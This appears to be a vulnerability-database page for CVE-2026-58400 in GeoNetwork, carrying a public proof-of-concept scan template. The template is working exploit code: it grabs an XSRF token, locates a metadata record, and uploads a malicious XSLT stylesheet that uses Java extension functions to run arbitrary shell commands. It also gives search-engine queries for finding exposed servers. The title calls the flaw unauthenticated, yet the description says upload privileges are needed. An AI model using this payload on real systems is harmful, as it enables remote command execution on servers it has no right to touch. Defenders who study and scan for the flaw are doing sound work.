CVE-2026-58400: GeoNetwork < 4.4.12 / < 4.2.17 - Unauthenticated RCE

2026-11-29 PoC Public

Description

GeoNetwork < 4.4.12 and < 4.2.17 contains a command injection caused by insecure Saxon XSLT processor configuration allowing Java extension functions, letting privileged users execute arbitrary OS commands as GeoNetwork process user, exploit requires upload privileges.

Details

CVE
CVE-2026-58400 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-58400

info:
  name: GeoNetwork < 4.4.12 / < 4.2.17 - Unauthenticated RCE
  author: 0x_Akoko
  severity: critical
  description: |
    GeoNetwork < 4.4.12 and < 4.2.17 contains a command injection caused by insecure Saxon XSLT processor configuration allowing Java extension functions, letting privileged users execute arbitrary OS commands as GeoNetwork process user, exploit requires upload privileges.
  impact: |
    Privileged users can execute arbitrary OS commands with GeoNetwork process privileges, potentially leading to full system compromise.
  remediation: |
    Update to versions 4.4.12 or 4.2.17 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-58400
    - https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-x898-729x-cc3r
    - https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-mh22-prqr-vf42
    - https://github.com/c0gnit00/GNSShell
    - https://github.com/Cyberuser-hash/CVE-2026-63219
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2026-58400
    epss-score: 0.0414
    epss-percentile: 0.9162
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 4
    vendor: geonetwork
    product: core-geonetwork
    fofa-query: body="geonetwork/srv"
    shodan-query: http.title:"GeoNetwork"
  tags: cve,cve2026,geonetwork,rce,unauth,xslt,saxon,java,intrusive,vkev

variables:
  fmtname: "gnsfmt{{rand_text_alpha(8)}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /geonetwork/srv/api/site HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains(tolower(body), "geonetwork")'
        condition: and
        internal: true
    extractors:
      - type: regex
        name: xsrf_token
        regex:
          - 'XSRF-TOKEN=([a-fA-F0-9-]{36})'
        part: header
        group: 1
        internal: true

  - raw:
      - |
        GET /geonetwork/srv/eng/csw?SERVICE=CSW&REQUEST=GetRecords&version=2.0.2&typeNames=gmd:MD_Metadata&outputSchema=http://www.isotc211.org/2005/gmd&resulttype=results&elementsetname=brief&maxRecords=1 HTTP/1.1
        Host: {{Hostname}}
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "MD_Metadata")'
        condition: and
        internal: true
    extractors:
      - type: regex
        name: metadata_uuid
        regex:
          - '([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})'
        internal: true

  - raw:
      - |
        POST /geonetwork/srv/api/formatters HTTP/1.1
        Host: {{Hostname}}
        X-XSRF-TOKEN: {{xsrf_token}}
        Accept: application/json
        Content-Type: multipart/form-data; boundary=----GNSBoundary
        Cookie: XSRF-TOKEN={{xsrf_token}}

        ------GNSBoundary
        Content-Disposition: form-data; name="file"; filename="{{fmtname}}.xsl"
        Content-Type: application/xml

        <?xml version="1.0" encoding="UTF-8"?>
        <xsl:stylesheet version="2.0"
          xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
          xmlns:xs="http://www.w3.org/2001/XMLSchema"
          xmlns:pb="java.lang.ProcessBuilder"
          xmlns:pr="java.lang.Process"
          xmlns:br="java.io.BufferedReader"
          xmlns:isr="java.io.InputStreamReader"
          xmlns:list="java.util.List"
          exclude-result-prefixes="pb pr br isr list xs">
          <xsl:output method="text"/>
          <xsl:param name="cmd" as="xs:string" select="'id'"/>
          <xsl:template match="/">
            <xsl:variable name="args" select="list:of('sh', '-c', $cmd)"/>
            <xsl:variable name="pb0" select="pb:new($args)"/>
            <xsl:variable name="pb1" select="pb:redirectErrorStream($pb0, true())"/>
            <xsl:variable name="proc" select="pb:start($pb1)"/>
            <xsl:variable name="stream" select="pr:getInputStream($proc)"/>
            <xsl:variable name="reader" select="isr:new($stream)"/>
            <xsl:variable name="buf" select="br:new($reader)"/>
            <xsl:call-template name="read">
              <xsl:with-param name="buf" select="$buf"/>
            </xsl:call-template>
          </xsl:template>
          <xsl:template name="read">
            <xsl:param name="buf"/>
            <xsl:variable name="line" select="br:readLine($buf)"/>
            <xsl:if test="exists($line)">
              <xsl:value-of select="$line"/>
              <xsl:text>&#10;</xsl:text>
              <xsl:call-template name="read">
                <xsl:with-param name="buf" select="$buf"/>
              </xsl:call-template>
            </xsl:if>
          </xsl:template>
        </xsl:stylesheet>
        ------GNSBoundary--
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201 || status_code == 200'
        internal: true

  - raw:
      - |
        GET /geonetwork/srv/api/records/{{metadata_uuid}}/formatters/{{fmtname}}?cmd=id HTTP/1.1
        Host: {{Hostname}}
        Accept: text/plain,text/html,*/*
        Cookie: XSRF-TOKEN={{xsrf_token}}
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("uid=[0-9]+[(][^)]+[)]", body)'
        condition: and
# digest: 4a0a0047304502201b093d55598ed9dc5dcc6b8241b6f50363f06bf6dac0ebfd6e52478e53bcbcb30221009b43a7969c85c3c72cd1d7b39cd56a42758496f630d9a1965f27974ce3f270d0:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life